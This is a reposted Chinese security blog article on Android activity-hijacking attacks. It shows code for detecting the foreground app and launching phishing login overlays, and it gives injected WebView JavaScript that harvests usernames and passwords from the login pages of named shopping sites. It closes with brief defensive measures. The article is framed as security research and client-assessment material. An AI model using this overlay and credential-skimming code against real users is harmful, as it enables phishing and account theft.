轉自:http://blog.nsfocus.net/app-client-hijacking-simple-protection/
Android APP客戶端安全評估中,有一項叫做activity界面劫持。該bug的攻擊場景是,當手機中的惡意APP檢測到當前運行的爲目標APP時,就啓動自身的釣魚界面覆蓋到目標APP之上,以欺騙用戶輸入賬號密碼等。本文將要歸納Android各個版本可以使用的檢測當前運行的APP的方法,及附帶webview的劫持示例。
1、getRunningTasks(android5.0之前)
1 2 3 4 5 6 7 8 9 10 11 12 | ActivityManager am = (ActivityManager) getBaseContext().getSystemService (Context.ACTIVITY_SERVICE); ComponentName cn = am.getRunningTasks(1).get(0).topActivity; String packageName = cn.getPackageName(); List list = Arrays.asList(TARGET_APPS); if(packageName != null && list.contains(packageName)){ Intent i = new Intent(); i.setClassName("com.haoren.hijack", "com.haoren.hijack.Login"); i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); getApplicationContext().startActivity(i); break; } |
getRunningTasks需要使用權限android:name=”android.permission.GET_TASKS”
除了使用activity覆蓋目標APP,還可以使用alertwindow(模態彈窗),如下demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | view = LayoutInflater.from(getApplicationContext()).inflate(R.layout.login, null); wm = (WindowManager) getSystemService(Context.WINDOW_SERVICE); final WindowManager.LayoutParams params = new WindowManager.LayoutParams(); params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ALERT; int flags1 = WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM; params.flags = flags1; params.width = LayoutParams.MATCH_PARENT; params.height = LayoutParams.MATCH_PARENT; params.gravity = Gravity.CENTER; wm.addView(view, params); //設置不響應任何按鍵,可拒絕服務 view.setOnKeyListener(new OnKeyListener() { @Override public boolean onKey(View v, int keyCode, KeyEvent event) { switch (keyCode) { case KeyEvent.KEYCODE_BACK: if(wm != null) wm.removeView(view); return true; default: return false; } } }); |
alertwindow需要使用權限android:name=”android.permission.SYSTEM_ALERT_WINDOW”
2、Accessibility Service(輔助功能,一直可用)
(Accessibility Service,需要引導用戶在手機 “設置” 中激活纔能有效,需要使用權限android:name=”android.permission.BIND_ACCESSIBILITY_SERVICE“)
在Accessibility Service的onAccessibilityEvent回調函數中,可以檢測到當前執行的APP,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | @Override public void onAccessibilityEvent(AccessibilityEvent arg0) { String topActivity = null; String s = ""; if(arg0 != null){ if(arg0.getPackageName() != null){ topActivity = arg0.getPackageName().toString(); } if(arg0.getText() != null){ s = arg0.getText().toString().split(",")[0].replace("[", "").replace("]", ""); } } //if(topActivity.equals("com.achievo.vipshop") && s.equals("登 錄")){ if(topActivity.equals("com.achievo.vipshop")){ Log.i("accessibility", "xxxx"+s); Intent i = new Intent(); i.setClassName("com.haoren.hijack", "com.haoren.hijack.Login"); i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); getApplicationContext().startActivity(i); } } |
3、通過/proc/目錄也可以獲取當前應用(Android7.0中限制了APP獲取/proc/的內容,會失效)
使用github中的AndroidProcesses庫,可以直接獲取,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | PackageManager pm = getApplicationContext().getPackageManager(); AndroidAppProcess target = null; List list = Arrays.asList(TARGET_APPS); String pName = null; while(true){ target = null; List processes = AndroidProcesses.getRunningAppProcesses(); for(AndroidAppProcess a : processes){ PackageInfo packageInfo; try { Stat stat = a.stat(); int pid = stat.getPid(); packageInfo = a.getPackageInfo(getApplicationContext(), 0); String appName = packageInfo.applicationInfo.loadLabel(pm).toString(); pName = packageInfo.packageName; if(appName != null && list.contains(pName) && new AndroidAppProcess(pid).foreground){ target = a; Log.i("xu", "xuxu"+pid); break; } } catch (Exception e) { e.printStackTrace(); } } if(target != null){ Log.i("xu", "xuxu"+pName); //do something here break; } } |
4、UsageStatsManager(Android5.0引入)
需要系統級別權限android.permission.PACKAGE_USAGE_STATS(系統簽名的APP能使用該權限),參見
github中的android-overlay-malware-example
5、webview
webview加載目標m站後,再加載惡意js,劫持用戶輸入,如下
webview添加java接口:
webView.addJavascriptInterface(new MyJavaScriptInterface(), “MYOBJECT”);
然後覆蓋setWebViewClient的onPageFinished,插入js代碼,劫持用戶輸入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | @Override public void onPageFinished(WebView view, String url) { super.onPageFinished(view, url); StringBuilder sb = new StringBuilder(); if(url.contains("vip.com")){ sb.append("document.getElementByIdx_x_x_x_x('J_topDownloadBar').style.display='none';"); } if(url.contains("mpassport.dangdang.com")){ sb.append("document.getElementByIdx_x_x_x_x('password').onblur=function(){"); sb.append("var objPWD, objAccount;var str = 'dangdang';"); sb.append("objAccount = document.getElementByIdx_x_x_x_x('username');"); sb.append("objPWD = document.getElementByIdx_x_x_x_x('password');"); sb.append("if (objAccount != null) {str += objAccount.value;}"); sb.append("if (objPWD != null) { str += ' , ' + objPWD.value;}"); sb.append("window.MYOBJECT.processHTML(str);"); sb.append("return true;"); sb.append("};"); }else if(url.contains("mlogin.vip.com")){ sb.append("document.getElementByIdx_x_x_x_x('inputPsw').onblur=function(){"); sb.append("var objPWD, objAccount;var str = 'vip';"); sb.append("objAccount = document.getElementByIdx_x_x_x_x('inputName');"); sb.append("objPWD = document.getElementByIdx_x_x_x_x('inputPsw');"); sb.append("if (objAccount != null) {str += objAccount.value;}"); sb.append("if (objPWD != null) { str += ' , ' + objPWD.value;}"); sb.append("window.MYOBJECT.processHTML(str);"); sb.append("return true;"); sb.append("};"); }else if(url.contains("plogin.m.jd.com")){ sb.append("document.getElementsByClassName('txt-input txt-password')[0].onblur=function(){"); sb.append("var objPWD, objAccount;var str = 'jd';"); sb.append("objAccount = document.getElementsByClassName('txt-input txt-username')[0];"); sb.append("objPWD = document.getElementsByClassName('txt-input txt-password')[0];"); sb.append("if (objAccount != null) {str += objAccount.value;}"); sb.append("if (objPWD != null) { str += ' , ' + objPWD.value;}"); sb.append("window.MYOBJECT.processHTML(str);"); sb.append("return true;"); sb.append("};"); }else{ sb.append("document.getElementsByTagName_r('form')[0].onsubmit = function () {"); sb.append("var objPWD, objAccount;var str = 'other';"); sb.append("var inputs = document.getElementsByTagName_r('input');"); sb.append("for (var i = 0; i < inputs.length; i++) {"); sb.append("if (inputs[i].type.toLowerCase() === 'password') {objPWD = inputs[i];}"); sb.append("else if (inputs[i].name.toLowerCase() === 'email') {objAccount = inputs[i];}"); sb.append("}"); sb.append("if (objAccount != null) {str += objAccount.value;}"); sb.append("if (objPWD != null) { str += ' , ' + objPWD.value;}"); sb.append("window.MYOBJECT.processHTML(str);"); sb.append("return true;"); sb.append("};"); } view.loadUrl("javascript:" + sb.toString()); } |
以上是個人歸納的客戶端劫持可能的途徑(此類攻擊難度較大,分享出來作技術研究)
防護方法
最後,一個粗略的防護方案:
①、對於界面(activity)覆蓋,可以利用同樣的方法,判斷是否爲自身在activity棧頂。
②、alertwindow不是activity棧機制,依然無法檢測。在android6.0之後,如果app是從Play Store安裝的,則SYSTEM_ALERT_WINDOW自動允許,如果是其他途徑安裝的則需要用戶手動在設置中開啓 懸浮窗 權限。
另外重載onFilterTouchEventForSecurity函數可以進行安全檢測(未測)
③、對Accessibility Service這類,只有提高用戶的安全意識方面着手
④、對於webview類型的劫持,可以利用js計算當前頁面是否被篡改過
⑤、對於/proc/目錄和UsageStatsManager兩個 Android系統方面也有相應的防護
文章關鍵詞: Android APP客戶端安全評估中, APP客戶端, App客戶端劫持, 安卓會話劫持, 安卓劫持, 客戶端劫持
轉載請註明:“轉自綠盟科技博客”: 原文鏈接.